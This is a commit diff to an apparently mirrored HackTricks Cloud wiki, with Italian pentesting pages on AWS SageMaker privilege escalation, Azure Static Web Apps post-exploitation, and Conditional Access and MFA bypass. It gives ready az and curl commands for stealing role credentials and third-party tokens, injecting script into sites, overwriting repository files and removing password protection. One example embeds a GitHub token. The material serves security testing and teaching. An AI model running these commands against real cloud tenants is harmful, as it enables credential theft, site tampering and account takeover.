mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 07:00:38 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -17,7 +17,7 @@ La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'A
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
|
||||
Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso fino alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
|
||||
|
||||
Ora è possibile accedere alle credenziali dei metadati del ruolo IAM.
|
||||
|
||||
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
Un attaccante con tali permessi può far **eseguire a sagemaker un processingjob** con un ruolo sagemaker ad esso associato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM associato**.
|
||||
Un attaccante con tali permessi può fare in modo che **sagemaker esegua un processingjob** con un ruolo sagemaker associato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM associato**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Un attaccante con questi permessi sarà (potenzialmente) in grado di creare un **lavoro di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato**.\
|
||||
&#xNAN;_I non ho sfruttato a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento._
|
||||
_Non ho sfruttato a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento._
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Per ulteriori informazioni su questo servizio, controlla:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
È possibile far caricare a una pagina web statica codice HTML arbitrario creando uno snippet. Questo potrebbe consentire a un attaccante di iniettare codice JS all'interno dell'app web e rubare informazioni sensibili come credenziali o chiavi mnemoniche (in portafogli web3).
|
||||
|
||||
Il seguente comando crea uno snippet che sarà sempre caricato dall'app web::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Leggi le credenziali di terze parti configurate
|
||||
|
||||
Come spiegato nella sezione App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive.
|
||||
|
||||
Ecco alcuni esempi di comandi per controllare i token:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Sovrascrivere file - Sovrascrivere percorsi, HTML, JS...
|
||||
|
||||
È possibile **sovrascrivere un file all'interno del repository Github** contenente l'app tramite Azure inviando una richiesta come la seguente, che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit.
|
||||
|
||||
Questo può essere sfruttato dagli attaccanti per **cambiare il contenuto dell'app web** per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche...) o semplicemente per **reindirizzare determinati percorsi** ai propri server sovrascrivendo il file `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che se un attaccante riesce a compromettere il repository Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Con questo permesso, è possibile **modificare la password** che protegge un'app web statica o addirittura rimuovere la protezione da ogni ambiente inviando una richiesta come la seguente:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Questo permesso consente di ottenere il **token di distribuzione della chiave API** per l'app statica.
|
||||
|
||||
Questo token consente di distribuire l'app.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Poi, per aggiornare un'app, puoi eseguire il seguente comando. Nota che questo comando è stato estratto controllando **come funziona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, poiché è quello impostato da Azure per impostazione predefinita. Quindi l'immagine e i parametri potrebbero cambiare in futuro.
|
||||
|
||||
1. Scarica il repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o qualsiasi altro repo che desideri distribuire) ed esegui `cd react-basic`.
|
||||
2. Modifica il codice che desideri distribuire
|
||||
3. Distribuiscilo eseguendo (Ricorda di cambiare il `<api-token>`):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Con questo permesso è possibile **cambiare la sorgente dell'app web statica in un diverso repository Github**, tuttavia, non verrà automaticamente fornito poiché questo deve essere fatto da un'azione Github di solito con il token che ha autorizzato l'azione poiché questo token non viene aggiornato automaticamente all'interno dei segreti Github del repository (viene semplicemente aggiunto automaticamente quando l'app viene creata).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Con questo permesso è possibile **reimpostare la chiave API dell'app web statica**, potenzialmente causando un DoS ai flussi di lavoro che distribuiscono automaticamente l'app.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Politiche di Accesso Condizionale & Bypass MFA
|
||||
# Az - Politiche di Accesso Condizionale e Bypass MFA
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le proprie risorse applicando i giusti controlli di accesso nelle giuste circostanze.\
|
||||
Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le loro risorse applicando i giusti controlli di accesso nelle giuste circostanze.\
|
||||
Le politiche di accesso condizionale **definiscono** **Chi** può accedere a **Cosa** da **Dove** e **Come**.
|
||||
|
||||
Ecco un paio di esempi:
|
||||
@@ -14,7 +14,7 @@ Ecco un paio di esempi:
|
||||
|
||||
## Bypass delle Politiche di Accesso Condizionale
|
||||
|
||||
È possibile che una politica di accesso condizionale **stia controllando alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica fosse configurata per MFA, l'attaccante sarà in grado di bypassarla.
|
||||
È possibile che una politica di accesso condizionale **verifichi alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica fosse configurata per MFA, l'attaccante sarà in grado di bypassarla.
|
||||
|
||||
Quando si configura una politica di accesso condizionale, è necessario indicare gli **utenti** interessati e le **risorse target** (come tutte le app cloud).
|
||||
|
||||
@@ -22,7 +22,7 @@ Quando si configura una politica di accesso condizionale, è necessario indicare
|
||||
|
||||
- **Rete**: IP, intervalli IP e posizioni geografiche
|
||||
- Può essere bypassato utilizzando una VPN o un Proxy per connettersi a un paese o riuscendo ad accedere da un indirizzo IP consentito
|
||||
- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio insider
|
||||
- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio interno
|
||||
- **Piattaforme dei dispositivi**: Qualsiasi dispositivo o selezionare Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Se “Qualsiasi dispositivo” non è selezionato ma tutte le altre opzioni sono selezionate, è possibile bypassarlo utilizzando un user-agent casuale non correlato a quelle piattaforme
|
||||
- **App client**: Le opzioni sono “Browser”, “App mobili e client desktop”, “Client Exchange ActiveSync” e “Altri client”
|
||||
@@ -31,7 +31,7 @@ Quando si configura una politica di accesso condizionale, è necessario indicare
|
||||
- **Flussi di autenticazione**: Le opzioni sono “Flusso di codice dispositivo” e “Trasferimento di autenticazione”
|
||||
- Questo non influenzerà un attaccante a meno che non stia cercando di abusare di uno di questi protocolli in un tentativo di phishing per accedere all'account della vittima
|
||||
|
||||
I possibili **risultati** sono: Bloccare o Consentire l'accesso con potenziali condizioni come richiedere MFA, dispositivo conforme…
|
||||
I possibili **risultati** sono: Blocca o Consenti accesso con potenziali condizioni come richiedere MFA, dispositivo conforme…
|
||||
|
||||
### Piattaforme dei Dispositivi - Condizione del Dispositivo
|
||||
|
||||
@@ -44,9 +44,9 @@ Puoi cambiare manualmente l'user agent negli strumenti per sviluppatori:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Posizioni: Paesi, intervalli IP - Condizione del Dispositivo
|
||||
### Località: Paesi, intervalli IP - Condizione del Dispositivo
|
||||
|
||||
Se questo è impostato nella politica condizionale, un attaccante potrebbe semplicemente utilizzare una **VPN** nel **paese consentito** o cercare di trovare un modo per accedere da un **indirizzo IP consentito** per bypassare queste condizioni.
|
||||
|
||||
@@ -78,7 +78,7 @@ Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere uti
|
||||
Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio di **voicemail** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla voicemail.
|
||||
> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla segreteria telefonica.
|
||||
|
||||
### Dispositivi Conformi
|
||||
|
||||
@@ -110,7 +110,7 @@ Questo è utile per vedere se **non è richiesta MFA per accedere ad alcune appl
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Ottieni tutte le politiche
|
||||
Ottieni tutte le politiche.
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Static Web Apps Basic Information
|
||||
|
||||
Azure Static Web Apps è un servizio cloud per l'hosting di **app web statiche con CI/CD automatico da repository come GitHub**. Offre distribuzione globale dei contenuti, backend serverless e HTTPS integrato, rendendolo sicuro e scalabile. Tuttavia, i rischi includono CORS mal configurati, autenticazione insufficiente e manomissione dei contenuti, che possono esporre le app ad attacchi come XSS e data leakage se non gestiti correttamente.
|
||||
|
||||
> [!TIP]
|
||||
> Quando viene creata un'App Statica, puoi scegliere la **politica di autorizzazione al deployment** tra **Token di deployment** e **workflow di GitHub Actions**.
|
||||
|
||||
|
||||
### Web App Authentication
|
||||
|
||||
È possibile **configurare una password** per accedere all'App Web. La console web consente di configurarla per proteggere solo gli ambienti di staging o sia gli ambienti di staging che quello di produzione.
|
||||
|
||||
Questo è come appare un'app web protetta da password al momento della scrittura:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
È possibile vedere **se viene utilizzata una password** e quali ambienti sono protetti con:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
Tuttavia, questo **non mostrerà la password in chiaro**, solo qualcosa come: `"password": "**********************"`.
|
||||
|
||||
### Routes
|
||||
|
||||
Le route definiscono **come vengono gestite le richieste HTTP in arrivo** all'interno di un'app web statica. Configurate nel file **`staticwebapp.config.json`**, controllano la riscrittura degli URL, le redirezioni, le restrizioni di accesso e l'autorizzazione basata sui ruoli, garantendo una corretta gestione delle risorse e sicurezza.
|
||||
|
||||
Alcuni esempi:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Enumerazione
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Esempi per generare Web App
|
||||
|
||||
Puoi trovare un bel esempio per generare un'app web nel seguente link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Forka il repository https://github.com/staticwebdev/react-basic/generate nel tuo account GitHub e chiamalo `my-first-static-web-app`
|
||||
2. Nel portale Azure crea una Static Web App configurando l'accesso a Github e selezionando il nuovo repository forkato in precedenza
|
||||
3. Crealo, aspetta qualche minuto e controlla la tua nuova pagina!
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user